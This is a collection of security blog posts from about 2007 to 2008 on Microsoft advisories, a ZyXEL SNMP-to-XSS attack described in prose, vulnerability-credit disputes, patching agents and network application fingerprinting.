Kind of a misnormer, but Microsoft re-released the advisory MS07-040 due to Windows Vista SP1 and Windows Server 2008 being vulnerable in certain situations. When a user installs .NET 1.0 and/or 1.1 on either of these two operating systems, they are still vulnerable. A user would have to explicitly install these versions of .NET on these operating systems as is does not come bundled by default. So, patch if you need too.
The guys at Procheckup have an interesting report (pdf) on hacking ZyXEL gateways (found through Dark Reading). In Section 2.2 and 2.3 of the report, they discover that these devices have (at least) two fatal flaws. The first is that the SNMP daemon allows the default community string write access to the SNMP MIB. Second, there are multiple persistent cross site scripting vulnerabilities in the devices web interface. You can even cause a persistent XSS in the web interface by setting javascript in the SNMP System.SysName.0, which will then get processed as a user inadvertantly connects to the web server.
Cool attack, but this requires everything to be perfect for exploitation to work on anything but ZyXEL devices. That is not to say that there are not going to be other devices that are vulnerable to a similar issue, but I don’t expect that there are too many devices out there that have SNMP Write enabled by default. I know in all the time that I’ve spent playing with SNMP, there aren’t too many devices that have write enabled with common community strings. It is possible that you could find one, as there are a lot of known default community strings (um, write?) that allow for remote write access. However, these are usually in old products that are no longer supported. I recall that SunOS/Solaris had a vulnerability where remote users had write access to the MIB with an undocumented community string. There are many other examples as well.
However, on top of this, the remote system would have to use the written community string somewhere in the web content for the XSS to work fully. I again doubt that there are that many hosts out there that display SNMP data within web content. This might be somewhat common in a lot of embedded devices, but I don’t know in how many. There are a lot of other XSS attacks in embedded devices, especially within printers, that are probably more problematic than this.
Kudos to the guys at Procheckup though. Really cool attack, even though I’m unsure it’s that practical and/or common. Watch me proven wrong though…
Even though I am a little late on talking about this, Microsoft released their protocol specifications for Windows Server Protocols and Windows Communication Protocols. Microsoft released these specifications mostly due to the pressure that the EU put on them for interoptibility with other products and monopoly concerns. I’m not the first to talk about this. You can read the somewhat divergent posts by Tyler of ComputerDefense (a colleague of mine) or Robert Graham of Errata Security.
I think this will be most beneficial to the open source projects that attempted to reverse the protocols, such as rdesktop and samba. They will be able to use the the specifications to fine tune the programs they already have and fill in the gaps on supportability that they didn’t fully understand. I also agree with Tyler that there will be a lot of improvement with respect to protocol disectors. Tools such as WireShark and NetScout Sniffer should be able to quickly expand their offerings to include better protocol support.
However, unlike the other posts on the subject, I don’t believe that we will necessarily see more vulnerabilities due to improved fuzzers (we might see some) or differences between the implementation within Microsoft products versus the specification themselves. I think long term, we might even see less (or equal number of) vulnerabilities due to the release of the specifications. A lot of vulnerabilities come about due to someone trying to implement functionality in a third party tool, usually by reverse engineering, that didn’t necessarily follow spec. I know when I found a DoS in Terminal Services back in the NT4 Terminal Server days, I found it because I misinterpreted how certain functionality was implemented. Therefore, when I sent it something it didn’t expect, it didn’t handle it correctly and crashed. My interpretation was based on the rdesktop code base, so I’m pretty sure I’m not the only one who has encountered something this way.
I think you are just as likely to see vulnerabilities in 3rd party products as they implement code directly to specification. As Robert mentions in his post, Microsoft may not have developed their own code directly to specification, probably due to coding error, and may start killing the 3rd party software.
Anyways, I think it’s relatively cool that Microsoft was forced to release this information. The security groups have been asking for this for a long time. I also think we are going to see a lot of improvements in tools that deal with protocols that many people don’t understand that well.
There was an interesting little sidebar to the Microsoft Works vulnerability (MS08-011) that was released during last Tuesday’s Microsoft patch release. The original article Washington Post article discussing it is here (found through Dave Lewis at Liquidmatrix.org)
Apparently, the vulnerability was submitted to Microsoft through the iDefense (Verisign) Vulnerability Contributor Program. For those that don’t know, Verisign will pay cash to people who allow the company to submit vulnerability details on their behalf. However, the person who submitted the vulnerability used a name for disclosure that can be considered explicit to a lot of people who speak Polish. Since Microsoft has it’s own reputation to consider, they decided not to credit the original submitter, but credit Verisign instead. Predictably, the original submitter was pretty unhappy and decided to release exploit code for the vulnerability they submitted, potentially putting anyone who has not patched (probably many) at risk.
This causes some real problems here. By not crediting the original discover of the vulnerability, Microsoft put a lot of users at risk. I am not privy to all the information here, so I don’t know if Microsoft gave the submitter another opportunity to pick another name. Assuming they did not, and I don’t know if I would if I was them either, they had to assume that the submitter would get angry and possibly release exploit code. Depending on what is important to you in the security industry, getting your name attached to something that you’ve done publicly is everything. So, Microsoft can’t be completely taken aback that they decided to release it.
But, Microsoft is stuck between a rock and a hard place here. They couldn’t give credit to the original submitter with the name that is chosen, and they must have known the consequences of not crediting the submitter. Also, what about Verisign in this situation? iDefense already does due diligence on whether or not a vulnerability submitted is actually valid and/or would be financially viable for the company. Do they now have to determine whether or not a submitter’s “handle” is professional before submitting it to a vendor? Theoretically, they should, but that is a lot of overhead for a company that is not in that business.
What happens if a person get exploited using the exploit that is publicly available? Is iDefense liable for any damage that occurs? I’m not a lawyer, so I don’t know the answer to that question, but their actions (or lack of) helped contribute to the release of the exploit. Will there all of a sudden be a whole new group of submitters who already plan to release exploit code, but want to pocket some cash while they are at it, all using the same excuse as the submitter?
The two companies will probably find some way to improve communications in the future, but they opened an interesting hole that they need to pay attention to.
I’m again going to rant on something that I dislike. Much like my post on vendor released ActiveX Download Managers, (and we all know about all the problems that ActiveX Controls have presented lately), I really dislike software products that place an agent that probes for updates in the background. Sun does it for Java, Adobe includes one for Acrobat and I believe also includes one for Flash as well. I’m sure there are many other examples of other tools that do this, but these are the ones that come to mind now. At present, I’m not including software programs that check for updates when the program is started (i.e. Firefox), but only agent tools that are running in the background even when the associated product is not running. Now, you could argue that this is in fact a good thing. It allows for software packages to essentially patch themselves whenever new updates arrive, especially with software packages that most users may not know they have installed (i.e. Java). However, it sets a horrible precedent. What happens if Apple comes around and installs an agent for QuickTime and iTunes, Google for Google Earth and Toolbar, Symantec for their whole slew of security products, Checkpoint for ZoneAlarm, and so on. There is no control over what gets run and how often they update themselves. Also, since personal firewalls are relatively popular now, I’m betting that a lot people have selectively decided that these tools should not be allowed to pass through the firewall, mostly because they don’t know what they do. As long as they don’t interrupt or restrict a user from working, people will block them. So, I’m not entirely sure that the agents are doing their job for the people that require it the most. Plus they run ALL the time. Sure, it’s definitely an improvement over what used to exist, which was nothing, but it isn’t even close to ideal.
Ok, so what do you do? I’m going to go off on a bit of a tangent here and hopefully it all comes together nicely. What is the difference between the Linux (or Apple/BSD) and Microsoft automated patch model? In basic terms, nothing. Outside of a select few, most Linux distros and Macs attempt to check for updates manually. Most Windows versions do the same thing and I presume that this is something that will be included in all future Windows releases. Depending on configuration, Microsoft patches are installed automatically as well. As much of an annoyance a forced reboot once a month is, the fact that one is patched (relatively) is a good thing.
However, the bigger difference is that a lot of components in the Linux/Apple installation are third party, open source products. These are usually patched by the vendor themselves and then ported into the code line by a member of the distribution team. Microsoft only patches Microsoft based products through automatic update. This forces third party Windows software to either find a way to patch their own products (re: Agents or on startup) OR not monitor it at all. This forces users to deal with it on their own and we all know that they are horrible at it.
So, even though this will NEVER happen, why doesn’t Microsoft start incorporating third party applications into Windows or Automatic Update? This would make Windows Update the one stop shop for patching. Like the other distributions, they can selectively choose which applications they can support. Adobe with Flash and Acrobat Reader, Sun with Java, Apple with QuickTime and iTunes and so on. I think a lot of administrators (and security management people) would LOVE this. More and more products can slowly incorporate themselves into this model. Companies can start using WSUS to push out new non-Microsoft patches for products that are difficult to find/control. These patches can fall outside of Microsoft’s self-imposed monthly release cycle and pushed out whenever they need to go out. I would love to see this. Wouldn’t you?
Unfortunately, this would likely never happen. Microsoft would have to sign agreements with companies who are in direct competition with itself and I’m unsure that Microsoft would want to get into the business of maintaining and monitoring third party patches. Also, it’s a distinct possibility that Microsoft might go out and try to incorporate all the products into their own monthly patch management solution. They were pretty slow to respond in pushing Flash updates to users on Windows XP (MS06-020, MS06-069) when Flash was installed by default with XP. It’s too bad, because I think this would be really cool and a greater push in the right direction for MS.
P.S. I know there are a lot of third parties who are doing this already (i.e Secunia, Symantec/Altiris), but MS has the tools already installed on most desktops while third party patch management tools need to be pushed to remote clients.
Was attempting looking at an old Microsoft security advisory today and I went to go find it using Google (explicitly MS06-076)
Anyways, as expected, the first entry points to the advisory itself. However, the URL that Google points to is not www.microsoft.com, but points to a site called thesource.ofallevil.com. Obviously, someone is having a little fun and pointed their subdomain to the microsoft.com site. After poking around Google for awhile, it’s obviously been around for a while, but it’s pretty hilarious that this site is the first choice when you attempt to reference a page on www.microsoft.com through Google.
Sample DNS Entry:C:\Users\ryan>nslookup thesource.ofallevil.com
Non-authoritative answer:
Name: lb1.www.ms.akadns.net
Addresses: 207.46.192.254, 207.46.19.254, 207.46.193.254, 207.46.19.190
Aliases: thesource.ofallevil.com, www.microsoft.com
toggle.www.ms.akadns.net, g.www.ms.akadns.net
Just got back from SecTor, a brand new security conference in Toronto held at the Metro Toronto Convention Centre. It seems to have gone over really well and looks to have been a success. Looking forward to seeing it grow next year.
I would like to thank everyone who attended my talk on application fingerprinting and I really appreciate the comments/questions that you all have sent so far. To answer all those who have asked already/will ask in the future, the slides will be up on SecTor’s website and you will be able to get access to httpfp sometime soon at nCircle Labs. Labs is presently under construction, so please check back later. I will mention here when the tool is ready to go.
I was going to do a summary of the talks I attended, but Dave Lewis at Liquidmatrix has a pretty good summary (and pictures!) of the talks that occurred. You can find his summary on Day 1 here and Day 2 here.
This just makes me smile. 
I ran into an interesting host running SSH today. I ran into a SSH server that accepted any username/password combination and allowed you to create an SSH channel with the remote host. However, after you authenticate and create a channel on the remote host, a logon prompt is presented asking for your username/password. Therefore, the SSH server isn’t being used for authentication. It is being used to encrypt the communication and the server on the back end takes care of auth. It would be similar to tunneling something like a Telnet session through an encrypted channel.
I thought this was an interesting, but very strange use of the SSH protocol. I’ve never seen anything like this before. Does anyone know if this is this a common use of SSH?
With all respect to Sam Roberts, I’ve been wondering for the last little while where all the good application fingerprinters have gone to. There used to be a lot of programs (good or bad) that tried to fingerprint what application was running on which remote service. I’m not just talking about software that attempted to figure out what protocol was running on what port, but what application was running on each (i.e. Apache vs IIS vs Tomcat etc).
Historically, there are a lot of programs that attempted to do this. They weren’t necessarily very good, but at least they attempted to figure out what was running where. Some examples are the smtp scanner SMTPScan, TelnetFP, fpdns and HTTPPrint. There are many more examples out there, such as Jeremiah Grossman’s HTTP Fingerprinter released at BlackHat Asia 2002, but most of them never got to a point where they were good enough to be considered supported/usable. (As a side note, fpdns is actually very good). Now, each of these programs had their own flaws and none of them were that accurate, but it gave members of the security and administration comunity a good tool to use when they needed to know what is running where.
Probably the fingerprinter that is used most often, and the tool that probably killed active fingerprinting development, is Nmap. Nmap is a decent fingerprinting tool that uses a global database mostly submitted by their user base to to acccompany their popular port scanning software. As a tool, it makes sense to pair the two together (especially with OS fingerprinting). The problem with it is that it isn’t really that accurate. One of the biggest problems (and advantages) with nmap is that most of the fingerprints are submitted by the user community. It is up to the nmap admins to decipher whether or not the fingerprints submitted are good or bad. If you don’t have access to the software, you can only presume that a fingerprint submitted by a third party is accurate. As an example, assume that a user submits a fingerprint and says it represents a fingerprint for the Apache web server. However, what happens if it is actually a web server running IIS with a modified banner that the submitter does not know has been changed. If the fingerprint gets included in the next fingerprinting database, there is a distinct possibility that it will taint all future results. Now, I’m not saying that nmap is not a good fingerprinting tool to use if you want to know what is running on your network. I’ve used it many times to try to figure out quickly what is running where. However, I am on the fence as to whether taking user submitted information and including it is a good idea. For what it is and who it is targeted for, it is a decent tool to use. I just think that a better job could be done.
So, what is wrong with the other tools that are out there? Now, admittedly, most of them haven’t been updated for years and there is almost no way they could be accurate anymore. However, they mostly all have the same flaws. One of the biggest problems they have is that, for the most part, they build fingerprints based on set status codes/responses. So, as an example, smtpscan relied on sending 10 sendcases and recorded all the status codes that each SMTP server returned and built a fingerprint on that. The problem with doing this is that it is very rare that a server is configured in such a way that it will respond correctly to the same 10 responses every time and in every situation. Everything is configurable. This would mean that for every minute configuration change that is seen, a new fingerprint would have to be generated. Therefore, for some of the more popular services out there (e.g Sendmail), there could be hundreds or thousands of fingerprints for each permutation known or discovered. This becomes unmanageable.
So what makes a good fingerprinting tool? Personally, I don’t know if there is a way to make a really good one. However, a good one should have at least two things:
1) Neither all for one or one for all. I think the most accurate way to determine what something is running is not to limit yourself to one send/check clause and use that as the be-all and end-all to determine what something is running. The best solution is to use many different sendcases, but only choose what the next sendcase is after getting the result. Therefore, there is no limit to the number of checks that you can use to fingerprint a server. However, after each check, you slowly eliminate the servers it can be until you get to one and/or none. It eliminates the reliance on just one check or on expecting ALL checks to match the way your expect.
2) Guess, but don’t always. There are a lot of tools that either attempt to guess what the service and/or don’t. There are pros and cons to doing each. However, I think the best thing to do is to guess when you are fairly confident that you are within a certain range of values. It’s not entirely useful to find out that your web server is either CERN and/or MathOpd. What does that mean? There has to be some way to differentiate between something so different. Now if you can’t tell between Apache 1.3.12 and Apache 1.3.13, well, at this point it doesn’t really matter. You have it narrowed down so well. Saying that it is Apache 1.3.12 - 1.3.13 is perfectly fine.
Funny enough, I will be speaking on the subject at SecTor, a security conference in Toronto on November 21st. I’ll be speaking on Modern Trends in Network Fingerprinting with a co-worker of mine and I’ll be speaking on more of the above. We’ll also be releasing an HTTP Fingerprinter that I hope is better than most of the ones that are out there. It has a lot of restrictions placed on it for the purpose of the conference, most of which violate what I mention above, but hopefully it rekindles drive for better fingerprinters. I personally believe that this is a skillset that is slowly being ignored, even though it can be really important.